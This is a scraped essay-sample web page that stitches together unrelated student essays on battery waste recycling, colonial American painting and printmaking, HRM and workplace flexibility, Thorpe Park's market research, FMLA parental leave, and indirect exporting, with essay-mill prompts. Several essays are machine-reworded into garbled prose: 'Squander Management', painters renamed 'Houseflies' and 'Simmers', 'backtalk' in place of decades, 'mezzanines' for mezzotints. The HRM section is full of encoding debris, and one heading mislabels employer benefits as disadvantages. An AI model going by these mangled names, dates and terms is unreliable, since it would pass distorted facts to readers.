Waste Management Essay Example | Topics and Well Written Essays - 2250 words

Squander Management - Essay Example This adds up to 20,000 to 30,000 tons of general battery squander created every year. Offices for reusing car batteries are very much evolved and 90% of the profoundly perilous car batteries go for reusing. Anyway nearly, just a single percent of family unit batteries go for reusing. In 2000, roughly 19,000 tons of waste general utilization batteries and 113,000 tons of car batteries must be arranged. A large portion of these were dumped in landfill destinations. Roughly 680 million batteries were bought in UK in 2001, and measurements show that over 89% of these were broadly useful batteries. Figures in different nations like US and Japan are as decimating. Estimates1 show that more than three billion mechanical and family unit batteries were sold in the US in 1998, and battery utilization rate increased by 5.8 percent every year through 2002. Somewhere in the range of 1998 and 2003, the worldwide interest for optional batteries developed by 67% with Japan holding 65% of the piece o f the overall industry in 2003. The expense of reusing changes in various nations, while some base it on the science of the battery, others measure it across tonnage alone. Anyway the fundamental expense for reusing batteries roughly comes to $1,000 to $2,000US per ton. The costs twofold when transportation is additionally included. This is a figure that all nations are attempting to cut down, with Europe meaning to accomplish the figure of $300 per ton (Buchmann, 2001). Specialists answerable for overseeing battery squander As of now different nearby specialists have been built up explicitly for overseeing battery squander. The Waste and Recycling Action Plan (WRAP) has begun different projects across UK for battery assortment. REBAT is another association in the UK set up to oversee and gather convenient battery-powered batteries. It is a segment of the British Battery Manufacturer Association, and gives complete data on reusing organizations and backing for battery reusing. A couple of the battery reusing plants and projects set up in Europe incorporate names of G&P Batteries, the primary reusing plant devoted to reusing family unit batteries. Britannia Refined Metals in Kent and HJ Enthoven and Sons in Derbyshire are two reusing

Arts and Culture in Colonial America Essay Example For Students

Expressions and Culture in Colonial America Essay Albeit chronicled records show that Dutch painters in New Netherlands were very beneficial pee the seventeenth century, just three works endure: pictures of New Netherlands senator Peter Stuyvesant, Nicholas William Stuyvesant, and Jacobs Stacker, which were most likely painted at some point somewhere in the range of 1661 and 1666 by Houghton (French Protestant) craftsman Henry Couturier. Most Dutch painters were limbers (that is, outline, or craftsmen vivo portrayed their subjects by drawing). They typically earned their living at different exchanges, for example, houseparents or glaziers (individuals who spot glass in sellers), and they were here and there self-trained. Many made a trip all around looking for commissions (contracts). One of he soonest limbers was Overt Ducking (1621-c. 1 703), Who headed a group Of craftsmen. None of his canvases has endure, yet escutcheons (family images or peaks) enameled on the Windows Of the Dutch Reformed Church (a Protestant strict gathering situated in Holland) at Albany, New York, in 1656 are known to be his work. In any event ten pictures are credited to his most youthful child, Gerri Ducking. Grists child, Greasers Ducking, painted The Birth of the Virgin (1713), the most punctual dated and marked New York painting. He additionally represented considerable authority in representations and scriptural works, Overt Ducking Ill painted pictures in a style comparable o that of his cousin Greasers. Pioneer America Almanac 1 Dutch painters kept on showing up in New York and the neighboring New Jersey settlement during the mid 1 7005, Among them was Pitter Panderers, who painted pictures to driving New York timeliest. Another craftsman was John Heathen, who wedded a Dutch lady and was dynamic as a portraitist in the upper Hudson Valley during that period. He is likewise known for scenes and class artworks (those portraying scenes from regular day to day existence). After the English assumed responsibility for New Netherlands, in any case, well off Dutch pilgrims started to support English styles of painting-Painting in New England New England Puritans dismissed strict works of art and different types of beautification as being excessively firmly connected With Roman Catholicism. (Puritans were a Protestant Christian gathering that watched exacting good and strict codes. Protestantism was shaped mostly contrary to the intricate beautifications and ceremonies utilized in the Catholic Church. ) Yet they affirmed of representation painting, not as an artistic expression however as a pragmatic route for individuals to have an image of a significant pioneer or a dearest relative. As in New Netherlands, the main New England representation painters regularly got by as houseparents or glaziers, while others ere sign painters. Like limbers, they made a trip from town to town searching for work. One tooth most gifted was Augustine Clement, a colleagues from Reading, England, who showed up in Boston, Massachusetts, in 1635. Unsigned pictures to Puritan pioneers Richard Matter, John Clark, and John Endicott were likely painted by Clement. The representation of Clark and an unsigned picture of Elizabeth Kensington were both engraved (dated) in 1664 creation them the most punctual New England pictures that can be dated with sureness, Portrait style Seven unsigned compositions of guardians and their kids, dated between 1670 ND 1674, are instances of early New England picture style Scholars accept they were finished by Boston craftsman Samuel Clement. The entirety of the pictures Mr John Freak, Mrs Elizabeth Freak and Baby Mary, The Mason Children, Alice Mason, and three individual pictures of youngsters in the Gibbs family-highlight rich hues and close regard for facial subtleties. The pictures were painted in a style that had left design in London however was as yet polished in country England. For instance, the pattern in London at the time was to make the dream Of three measurements with point of view and concealing. This craftsman, in any case, utilized splendid ruler, straightened examples, and imagery, for example, a flying creature to speak to the spirit. Settlements pull in picture painters In the mid eighteenth century, rising flourishing in the provinces started to attract prepared specialists to developing port urban communities. Henrietta Johnston, a painter of miniatures (little pictures), showed up in Charleston, South Carolina, in 1705 and stayed dynamic there until her passing in around 1728 or 1729. She was trailed by Swiss craftsman Jeremiah Teeth, who worked a studio that went on until 1774. German painter Just Engendered K;hen was dynamic in Annapolis, Maryland, jog 1708 until his passing in 1 717. Scots painter John Watson settled in Perth Mambo, New Jersey, in 1 714. English painter Charles Bridges showed up in Virginia in 1735 and spent the following barely any years going from estate to ranch, painting representations of the Virginia privileged (honorability class). He didn't remain in the provinces sufficiently long, in any case, to have a lot of an effect on different craftsmen. Houseflies and Simmers have extraordinary impact Two specialists who were to a great extent liable for the advancement of American artistic creation for the remainder of the eighteenth century were Gustavo Houseflies (1682-1 755) and John Simmers (1688-1751). Houseflies was conceived Arts and Culture 2 in Sweden and got some portion of his creative preparing in England. In the early backtalk he moved to Philadelphia, Pennsylvania. With the exception of putting in a couple of years in Annapolis in the backtalk, he lived and worked in Philadelphia until his demise. In 1735 Houseflies painted representations Of Delaware boss Disenchant and Lapwings, hence turning into the principal European craftsman to portray Native Americans in a touchy way. The Last Supper, which he accomplished for Saint Barbarians Church in Queen Ann.s Parish, Maryland, was the main painting dispatched for an open structure in America. The work has since been lost. At the point when Simmers showed up in Boston from England in 1729, he was at that point a built up representation painter. After two years he finished his most popular work, The Bermuda Group. The enormous representation highlights Anglican (Church of England) priest George Berkeley, individuals to Berkeley family, and others-incorporating Simmers-who took an interest in Berkeley bombed plan to begin a school in Bermuda (an island in the Caribbean Sea). The artistic creation turned into a model for later American gathering representations. In spite of the fact that Simmers had accomplished his best work by 1 730, he got another advancement to printing New England. He did pictures of the main Boston residents, and he is credited with arranging the primary workmanship appear in the states. Stews likewise impacted various more youthful American craftsmen. Among them was Robert Peek (c. Backtalk c 1 750), who was conceived in Oyster Bay, Long Island. Gamely of Isaac Royal, which Fake painted in Boston in 1741, has been contrasted with Shimmers The Bermuda Group. Considered by some craftsmanship antiquarians to be a more inventive painter than Simmers, Fake impacted other youthful painters in the backtalk and 1 backtalk. In spite of the fact that the two men may never have met, Fake likewise affected John Singleton Copley, whose most punctual works were demonstrated on representations by Fake and Simmers. By 1754 American picture painting was very nearly an extraordinary jump forward with the rise of Benjamin West, just as Copley and Charles Wilson Pale. Printmaking The most well known artistic expression in the British provinces was the print, A print is made via cutting or carving a picture into wood, stone, or metal. The printmaker at that point applies ink to the outside of the picture and presses it onto paper to deliver an image. The prints that pioneers used to beautify their homes were normally little etchings, regularly representations of noticeable individuals. The primary realized representation print made in the provinces was a woodcut picture to Puritan serve Richard Matter made by Boston prearrangement John Foster in 1670, By 1710 frontier specialists were making mezzanines, which are engraved pictures on copper or steel that have all the earmarks of being more three-dimensional than easier etchings, The most punctual mezzanine may have been a picture of four Iroquois chieftains, made by etcher John Simon in 1710. Another conspicuous etcher Vass William Burgess, who worked in Boston from 1716 to 1731 and made mezzanines of scenes and madmans around the city, Influential Mezzanine Artist The most popular provincial mezzanine craftsman was Peter Pelham, who had been a printmaker in London before he set up for business in Boston in 1727 _ His most renowned mezzanine is a picture of Puritan serve Cotton Matter, from which he additionally made an Oil painting. After representation painter John Simmers showed up in Boston in 1 729, Pelham put together a considerable lot of his mezzanines with respect to Shimmers pictures of outstanding New Englanders. Pelham gave his insight into printmaking to his stepson John Singleton Copley, probably the best craftsman of the Revolutionary time frame. The main chronicled print distributed in the states was a line etching of a fight plan by Thomas Johnson. Settlers additionally started delivering picture prints for use in books and chronological registries. A copperplate etching of Puritan serve Increase Matter, made by Thomas Mess in 1 728, turned into a model for prints in books Houseflies and Simmers have incredible impact 3 distributed by priests. Boston printer James Franklin examined printmaking A provincial gravestone with expound cutting found in a New England graveyard. Duplicated by authorization of Corgis-Bateman. In London, England, and is lived to have made most or the entirety of the outlines for the books and chronicles he distributed. Early model most of seventeenth-century pilgrims were attempting to get by in North America, So they gave little consideration to masterful patterns in England or somewhere else in Europe. They didn't have their pictures painted or enhance their homes With scene works of art and prints by notable craftsmen. At the point when most settlers made plans, they improved items that filled a useful need. Development of NYS Business EssayMusic 6 Many of similar individuals were additionally frightened when youthful singing-school graduates requested that authorization sit together and play out a portion of the strict melodies they had learned

The History Of Managing Human Resources - Free Essay Example

A manager employing the Soft HRM style will be more lenient. They will trust the employees a lot more and gather opinion and take it on board. They also believe that workers/employees seek responsibility and come to work with the intention to impress and progress. They also believe that they have the organizations interests at heart and so they share common goals. (Aka Harvard/Theory Y) Obviously, this is extremely basic. Fortunately, they both work. Unfortunately, they dont work all the time in all situations. The earliest examples where this term is used are in the work of Guest (1987) and Storey (1987; 1992). Guest (1987), is define HRM, identifies two dimensions, soft-hard and loose-tight. Similarly, Storey (1992) plans current clarification of HRM along the two dimensions of soft-hard and weak-strong. Guest (1987) and Storey (1992) in their definitions of soft and hard models of HRM view the key difference as being whether the importance is placed on the human or the resource. Soft HRM is associated with the human relations movement, the operation of individual talents, and McGregors (1960) Theory Y perspective on individuals (developmental humanism). This has been linked with the concept of a high commitment work sys tem (Walton 1985b), which is aimed at causing a commitment so that behavior is primarily self-planned rather than controlled by permissions and pressures external to the individual and relations within the organization are based on high levels of trust (Wood 1996: 41). Soft HRM is also associated with the goals of flexibility and flexibility (which themselves are problematic concepts, as we shall see in more detail later), and implies that communication plays a central role in management (Storey and Sisson 1993). Hard HRM, on the other way, stresses the quantitative, calculative and business-strategic aspects of managing the headcount resource in as rational a way as for any other factor of production, as associated with a utilitarian-instrumentalist approach (Storey 1992: 29; see also Legge 1995 b). 1.2: Review the differences between Storeys definitions of HRM and personnel and IR Practices hr is the overall management of all resources including workers, staff, senior managers, top management and even suppliers and customers. ir is relations between real work force and management of the organization and also deals with collective bargaining and industrial conflicts Main Differences between IR and HRM HRM has growing from a simple welfare and maintenance function to that of a board level activity of the companies. In recent years, the attention on people management from human capital perspective is also shaping confidently. However, the hard fact is that this growth can be generally witnessed in management literature and rarely in practice. Outer observation of people management in organization can deceive the observers since; hardly there could be any organization that is yet to rename its old created title of industrial relations/personnel/welfare/administration department into HRM department. But, in practice, these organizations continue to handle the people management activities the way they had been handling earlier. The reasons for this could be many and varied. Among them, the potential reason is lack of clear understanding about the differences between personnel/IR and HRM 3. Analyze HRM from a strategic perspective and its implications for the role of the line Managers and employees for accomplishing corporate objectives Developing a HRM strategy Faced with fast change organizations need to develop a more attentive and coherent method to managing people. In just the same way a business involves a marketing or information technology strategy it also requires a human resource or people strategy. In developing such a strategy two important questions must be addressed.  · What types of people do you need to manage and run your business to meet your strategic business objectives?  · What people programs must be designed and affected to attract, develop and retain staff to compete effectively? In order to answer these questions four key elements of an organization must be addressed. These are: ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Culture: views, values, rules and management style of the organization ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Organization: the structure, job roles and reporting lines of the organization ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ People: the skill levels, staff potential and management s kill Human resources systems: the people focused mechanisms which deliver the strategy employee selection, communications, training, rewards, career development, etc. Frequently in managing the people element of their business senior managers will only focus on one or two Dimensions and neglect to deal with the others. Usually, companies adjust their structures to free managers from establishment and drive for more business skill but then fail to adjust their training or reward systems. When the desired business behavior does not develop to managers frequently look confused at the apparent failure of the changes to deliver results. The fact is that rarely can you focus on only one area. What is required is a strategic perspective aimed at identifying the relationship between all four dimensions. If you require an organization which really values quality and service you not only have to retrain staff, you must also review the organization, reward, and appraisal and communicati ons systems. How HR Planning could be used  · quantify job for producing TYPE of product / service  · quantify people positions required  · determine future staff-mix  · assess staffing levels to avoid unnecessary budgets  · reduce delays in obtaining staff  · prevent shortage / excess of staff  · comply with legal requirements 2.1Review different ways of developing flexibility within the workplace in an organization Review and explain a model of flexibility within the workplace and illustrate its Implementation in an organization Workplace Flexibility: A Guide for Companies By Dana E. Friedman Every company has a workplace strategy-whom they hire and how they manage, assess and Reward employees. What Is Flexibility? Flexibility is a way to define how and when work gets done and how careers are organized. 1. Develop the business case Know what problem you hope to address by increasing flexibility. It is helpful to look at comparable companies and their experiences with flexibility so that you can provide evidence about what the companies you benchmark yourself against are doing and how these efforts have succeeded. It is also useful to conduct internal studies diagnosing flexibility as a business problem-solver. 2. Review your own companys experience Review any existing programs or policies to see how well they are working, and what needs improving. Identify employees currently using flexible work policies and talk with them to assess their experiences. Find supervisors who can serve as role models and champions to play leadership roles in the creation and implementation process. You may also want to consider creating a task force to consider options and create a plan. If so, make sure that the task force includes individuals who are well respected and whose opinions carry weight in your company. 3. Define policies and practices Determine which flexible work options you will create or improve and how they are to be negotiated and reviewed. It is often a good idea to try out or pilot some of the new options to see how they work before fully implementing them. 4. Create tools and resources Provide employees and supervisors with examples of how to think through their options. 5. Help supervisors learn to manage flexibly Flexibility doesnt work in all types of jobs or for all individuals. Supervisors need help with learning new ways of managing, including how to problem-solve and look for win-win solutions. They also ha ve to be comfortable with the discretion they have, including when and how to say no. Providing individuals whom employees and supervisors can turn to in order to resolve problems is important. If your company has training programs, include managing flexibly as a part of existing or new training. Web-based tools, briefing sessions, along with coaches can also help with implementation. 6. Communicate Make sure all employees and supervisors are familiar with the companys stance on flexibility and the implementation process to be sure it will work. 7. Evaluate usage and effectiveness Plan to review how flexible work options are working for the employee, for the supervisor and the work group. Align job performance measures with new workplace flexibility options. 8. Highlight success stories In newsletters, on bulletin boards, or in on-line databases, collect and disseminate examples of successful flexible work options for others to learn from. A chieving successful, equitable flexibility is a shared responsibility, a partnership. It requires the company to develop and communicate clear organizational policies and guidelines. It requires managers to be knowledgeable about policies and promote flexibility to help get the work done. It also requires employees to consider the needs of the job, coworkers, customers, and the company when proposing flexible work strategies. Only then, can flexibility positively impact workplace effectiveness and the bottom line. 2.3:Evaluate the advantages and disadvantages of flexible working practices from both the employee and the employer perspective in an organization Advantages of Flexible Work Schedules for Employees With flexible work schedules, employees experience these benefits: Flexibility to meet family needs, personal obligations, and life responsibilities conveniently. Reduced consumption of employee commuting time and fuel costs. Avoids traffic and the stresses of commuting during rush hours. Increased feeling of personal control over schedule and work environment. Reduces employee burnout due to overload. Allows people to work when they accomplish most, feel freshest, and enjoy working. (eg. morning person vs. night person). Depending on the flexible work schedule chosen, may decrease external childcare hours and costs. Disadvantages of Flexible Work Schedules for Employers With flexible work schedules, employers experience these benefits: Increased employee morale, engagement, and commitment to the organization. Reduced absenteeism and tardiness. Increased ability to recruit outstanding employees. Reduced turnover of valued staff. Allows people to work when they accomplish most, feel freshest, and enjoy working. (e.g. morning person vs. night person). Extended hours of operation for departments such as customer service. Develops image as an employer of choice with family friendly flexible work schedules. There are also key organizational challenges you need to address to make flexible work schedules support your business. In and of themselves, as a positive benefit for employees, flexible work schedules support employee engagement, positive morale, and retention. But, flexible work schedules must operate to meet the needs of the business, too. See more about the challenges inherent in life and family friendly flexible work schedules. More Related to Flexible Work Schedules 2.2:Describe the need for flexibility and the types of flexibility to be considered by an organization and give examples of such implementation in an organization It is a critical ingredient to overall workplace effectiveness. Companies use it as a tool for Improving recruitment and retention, for managing workload, and for responding to employee diversity. Research shows that flexibility can also improve employee engagement and job Satisfaction and reduce stress. Below are some of the key options in workplace flexibility: Flex-Time Traditional flextime allows employees to select their starting and quitting times within a Range of hours surrounding core-operating hours. Daily flextime allows employees to select their starting and quitting times within a range of Hours, typically surrounding core-operating hours, on a daily basis. A compressed work week enables employees to work their allotted hours over fewer days- such as 10 hours per day over 4 days, or 80 hours over 9 days, rather than 8 hours per day over 5 days. Some companies offer summer hours by adding an hour to workdays Monday Through Thursday, a nd ending work at 1:00 pm on Fridays, or similar arrangements. When Work Works is a project of Families and Work Institute sponsored by the Alfred P. Sloan Foundation in Partnership with The Center for Workforce Preparation an affiliate of the U.S. Chamber of Commerce and The Center for Emerging Futures. For more information, go to Reduced Time Part-time work means working part days, five days per week or working full days, but fewer Than five days per week. Job sharing, where two employees share one full-time job with its Pro-rated salary and benefits, is also a form of part-time work. Part-year work means working reduced hours on an annual basis, rather than a daily or Weekly basis-for example, working full-time during the school year and then taking a block Of time off during the summer. Flex-Leaves Time off during the workday to address personal and family issues includes time off for Anticipated issues (a parent-teacher conference) or unan ticipated issues (waiting for a Plumber to fix a broken pipe). Time off for personal illness allows employees paid time off when they are ill. Paid time off to care for children involves being allowed to take a few days off to care for a sick Child without losing pay or without having to make up some other reason for ones absence. Parental Leave is planned time off for mothers and fathers for the birth, adoption, or care of A foster child. Flex-Careers Flex-Careers include multiple points for entry, exit, and re-entry over the course of one Career or working life, including formal leaves and sabbaticals, as well as taking time out of the paid labor market, with the ability to re-enter. Flex-Place AC 2.4Discuss the impact that changes in the labour market have had on flexible working Practices Flex-Place is defined as working some or most of ones regularly scheduled hours at a Location other than the main location of ones employer. It includes primary and occasional Arrangements. Why Is Flexibility Important to Business? To attract talent ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ The U.S. Department of Labor reports that our labor force is growing less than 1 percent Annually, and the number of available workers between 25 and 44 will actually shrink between now and 2006. The need for qualified people forces companies to rethink their Recruitment efforts, productivity incentives, benefit plans, work schedules and work Processes, most of which were designed for a different generation of workers with Different lifestyles and working conditions. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Advances in technology alone demand that we rethink how we connect with people, Organize teams and how we measure work performance when people work from home. To retain valued employees ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Turnover is expensive, especially in this labor market. The Saratoga Institute found that It costs 150 to 200 percent of an exempt persons yearly salary to replace him or her. Compare that to a study by Families and Work Institute that found that allowing an Employee a one-year parental leave costs 32 percent of a years salary. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ In a 1998 Watson Wyatt survey of 614 companies, flexibility was ranked by half of the Companies as their most effective retention tool, better than above-market salaries, Stock options or training. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Aetna found that its family leave program increased retention of the highest performers. After extending the length of maternity leave, 91 percent of women returned to work Following a maternity leave, while only 77 percent of women were retained after leave When the leave period was shorter. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬  ¢ Royal Bank Financial Group reported that flexible work arrangements not only supported Their work-life and diversity efforts, but it also improved business performance, enhanced Customer service, reduced expenses, and positioned the company as a desirable employer. To raise morale and job satisfaction ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ There are clear links between job satisfaction and turnover. A Sears study has linked Employee satisfaction with customer retention. Their work with the University of Michigan Business School found that if employee satisfaction were to improve by five Points, there would be a predictable improvement in customer satisfaction of two points, And in the quarter after that, revenues would grow by 1.6 percent. To improve productivity ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ A survey by CCH Inc., a provider of human resources and employment law information, Revealed the hidden costs of unscheduled absences, which is about $1. 5 million for large Companies. They also found that instead of illness, family issues are now the most often cited reason for taking time off. Other non-sickness reasons cited are stress and personal demands. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ According to a study by Metropolitan Life Insurance, the National Alliance for Caregiving and AARP, it costs American business $29 billion or $1,141 per employee per year, when employees are unable to get the support they need for their elderly dependents. To reduce stress or burnout ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ A DuPont study concluded that workers who used their work-life and flexibility programs were more committed and less burned out than those who did not use any of the programs. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ All forms of stress have been found to lead to other problems that affect productivity and are potentially costly to business. Employees who feel burned out tend to have less commitment and fo cus or may leave the company. Half of all workers surveyed said job stress and burnout had reduced their productivity. Of those reporting severe stress, 59 percent wanted to quit and 55 percent said they became ill more frequently What Are Principles of Flexibility Used by Companies? ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Flexibility is a management tool that can help get the job done, not an employee perk or accommodation. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Flexibility can be used by employees in a range of jobs or levels. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Employees reasons for wanting flexibility should not matter, unless covered by law. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Not everyone wants flexible arrangements. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Not everyone can have flexible work arrangements. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Flexibility should be applied creatively. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Flexibility works best when the work unit and customers are involved. ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€šÃ‚ ¢ Flexible work arrangements can be temporary or permanent. What Are the Steps to Implementation? A company needs to decide the scope of flexibility it plans to allow. No matter how formal or informal the flexible work options will be, most companies implement flexibility by following a similar process: 3.1Explain the forms of discrimination that can take place in the workplace Federal laws protect employees from receiving unequal treatment on the basis of race, gender, age, citizenship, national origin, religion, marital status, disability, or labor union activity. When employers use these factors against their workers, they have committed employment discrimination. by R.A. Anderson Workplace discrimination occurs when employers treat certain potential or current employees unfairly because of various issues, including age, race, gender, disability, nationality, religion and pregnancy. Discrimination also takes place when men and women working for the same employer do not receive equal pay for equal work. Under job discrimination laws, it is illegal for employers to engage in any of these practices. By Judy Wilson Different Types Of Employment Discrimination Gender Discrimination Racial Discrimination Age Discrimination Age Discrimination Religious Discrimination Pregnancy Discrimination National Origin and Language Discrimination Equal Pay and Compensation Discrimination 3.2:Discuss the practical implications of equal opportunities legislation for an organization Equal opportunities policy and statement of intent The organisation is mindful of its responsibilities to promote equality of opportunity and to avoid discrimination at all times. The following statement outlines our policy and briefly explains how we are planning to achieve equality of opportunity within our organisation. This document should be read in conjunction with the diversity strategy. Policy statement The organisations policy is: 1. To ensure that no person applying for a job or contractual work is treated less favourably than another because of their race, age, colour, ethnic origin, religion, sex, disability or sexual orientation. 2. To work towards staffing levels and management committee representation which, reflects the ethnic composition of the local population and the organisations client group. 3. To abide by the Race, Disability and Gender Equality legislation and to implement the provisions of the Equality and Human Rights Commission. 4. To make clients, staff and Management Committee members fully aware of the above provisions and to make the Code of Practice available for inspection. 5. To review practices and policies to ensure that discrimination does not exist. The organisations Management Committee is responsible for monitoring work in this area and for establishing policy. Responsibility for implementing the policy in practical terms rests with the board and nominated manager. 3.3Compare the approaches to managing equal opportunities and managing diversity Managing Diversity versus Equal Opportunity Approaches: One of the core differences between managing diversity and equal opportunity is associated with the force for change.Whereas external forces, such as government legislations, social fairness, ethical and humanrights etc, tend to drive the equal opportunity, managing diversity tends to be driven byinternal forces within the organisational structure and is immediately connected with the bottom line.Another difference between these two approaches are their goals. The goal of equalopportunity has been mentioned as social justice and rectifying errors that have been made previously in the past: to correct an imbalance, an injustice, a mistake (Thomas, 1990, p.108). On the other hand the main goal of managing diversity is discussed in much broader terms; that is to treat employees as individuals, acknowledge that each of them has uniqueneeds and therefore will need different sorts of assistance in order to succeed, describesGeber, 1992. The core motivation behind the equal opportunity fr amework at governmentallevel and the equal opportunity strategies and practices at organisational level has beenidentified as an attempt to establish equality. For example, the creation of such a communityor organisation, where men and women are dealt with in the same manner and no advantageor disadvantage is given to them based on their sex. In contrast, the term managing diversityis there to point out the significance of difference and put forward a viewpoint wheredifference is welcomed and is considered as an advantage rather than a disadvantage to theorganisation.In essence, the economic and business cases are the main fundamental driving force for themanaging diversity approach for identifying and evaluating differences. This is incomparison to the ethical case to treat everyone evenly, which is the main driving force for the equal opportunity approach. The equal opportunity approach is there to have an impact on behaviour through legislation in order to eliminate discriminatio n. Conclusion : In this day and age managers and professionals are facing an ever-challengingtask to create work places that recognise the demands and responds to the opportunities of adiverse workforce. Successful leaders must cross their own cultural boundaries in order toencourage a vigorous and powerful cross-cultural communication and create cultural synergyin the workplace. They must recognise and take full advantage of the productivity potentialthat is inherent in a diverse population. Organisations and governments alike must appreciatethat we now operate in a global village, with a highly sophisticated market place. In order to be successful, organisations will have to harness the abilities of all their employees to thehighest order. A structure in which equal opportunities are available for all with a managingdiversity culture would be the ideal combination for a successful organisation.

P3 Selected Organisations Usesmarket Research to...

P3: Describe how a selected organisation uses marketing research to contribute to the development of its marketing plans. My selected organisation is Thorpe Park; I am going to talk about the organisation uses types of market research they do to contribute to its development plans. Market research is broken down into four categories as they contribute into development plans. The four departments are: †¢ Primary research †¢ Secondary research †¢ Qualitative research †¢ Quantitative research Primary research Primary research (also known as field research) involves the collection of data that does not already exist. Some advantages of having primary research are that a researcher can focus on both qualitative and†¦show more content†¦In market research content, secondary research is taken to include the re-use by a second party of any data collected by a first party or parties. The research that I have undertaking has been on the park rides and advertising from other theme parks such as: Lego land. Advertising campaign as they are less than 30min drive from the park, this could be a threat. Qualitative Research Qualitative research is a method if inquiry appropriated in many different academic disciplines, traditionally in the social sciences. In marketing terms, this means investigating the features of a market through in-depth research that explores the background and context for decision making. It’s also used to deeper into issues of interest and explores nuances related to the problem at hand. Examples of qualitative research are focus groups, triads, dyads, interviews, uninterrupted observations and bulletin boards. Bulletin Boards are used to advertise to the customers about Thorpe Park. On these boards, they advertise offers that may catch people’s eyes and persuade themselves to attend Thorpe Park. Quantitative research The use of numerical analysis techniques to provide information useful to those involved in promoting products or services.

Fmla Policy Of The United States - 1201 Words

FMLA policy is one of the phenomenon topic in the US that has extensively being debated on and this still continues. The deficiencies and beneficial aspect of FMLA policy inform the interview with two women who has had experience with parental leave. One of the participant is a black woman residing in the US while the other participant domicile in Nigeria. Both participant ages ranges from 30-50 when they had their first baby and has attained booming career to handle respectively (an accountant and a medical doctor- now qualified consultant in her chose field).The analysis of their experience in their respectively countries, main issue discussed and a few suggestion on FMLA policy. Cultural values and attitudes amplify and even change†¦show more content†¦Heavy care responsibilities limit or reduce women’s career advancement, personal leisure and productivity that require them to develop work efficient habit. Baker (2012) suggests that men’s career is granted priority and employed mothers are typically penalized in the labor market. An additional factor is the re-entry of women into workforce with a small salary offer or lower ranking jobs, including part-time or temporary jobs. One of the reasons considered is that these women constantly interrupt their career to attend to dependency work and most women do not reach the top positions at work. In considering mothers’ employment outcomes, cultural values regarding gendered roles in the household and workplace may be particularly important. We may see fewer motherhood-based employment and earnings differences in countries where gender principles support both men’s and women’s contribution to the household income. Subsequent lesson learnt from the interview and reading the articles is that women generally have accepted the responsibility of home management (household work that include allocating, supervising and doing it) without sufficient assistance from their spouse/partners. The participants I interviewed mentioned the fact they had to manage both their professional career with breastfeeding, the care of the baby and the home. State-provided or -subsidized childcare, measured as

Foriegn Distribution Essay Research Paper DistributionIndirect ExportingAn free essay sample

Foriegn Distribution Essay, Research Paper Distribution Indirect Exporting An Indirect Exporter is when a house? s merchandise is sold in foreign markets with no particular activity for this intent occurs within the house. Others carry a house? s merchandise overseas. Although exporting this manner can open up new markets rapidly a house will hold limited control over distribution of its merchandise. A house likes to hold a purchaser ; therefore merchandises are sold in a domestic market so resold overseas in different ways. -Foreign sweeping and retail administrations that have buying agents in a house? s place state may happen the house? s merchandise good for their market. -Manufacturers and houses have U.S. offices obtain equipment and supplies to their foreign operations. Companies have an advantage by selling to the U.S. houses because they are utilizing export paths already providing their domestic operations via the U.S. -With transnational operations buy equipment and supplies for them through their regular domestic buying. We will write a custom essay sample on Foriegn Distribution Essay Research Paper DistributionIndirect ExportingAn or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Equipment is shipped and installed in foreign works. Foreign manufacturers take note of the equipment. Then orders for the equipment will follow. Thus, an active exportation engagement by the supplying house. This has befitted the providing house with a free debut to the foreign market. International trading companies are really of import for some markets. Some of these companies handle the bulk of the imports into the state. The size and market coverage of these trading companies makes them first-class distributers, particularly with their recognition dependability. They cover their markets and supply service for the merchandises they sell. Using these trading companies has negative factors. These companies have a inclination to transport viing merchandises and the latest merchandise may non have the attending its manufacturers desired. The gross revenues from these sorts of indirect exporting are every bit good as domestic gross revenues and, show that they are less stable. Since being so far from the chief market a house has little control. Even though new gross revenues is helpful the disadvantage of non holding more control of foreign gross revenues a company may look for a more suited agreements in the long-run. Export Management Companies ( EMC ) Some companies work with an export direction to hold increased control over its merchandise. There are some advantages of utilizing an export direction company: -The industry receives instant foreign market cognition and contacts via the operations and the experience of the EMC. -The industry saves the cost of developing the in-house expertness in exporting. An EMC cost is spread over the gross revenues of several makers. -EMC offer clients amalgamate cargos for nest eggs. -Lines of complementary merchandises can break foreign representation than the 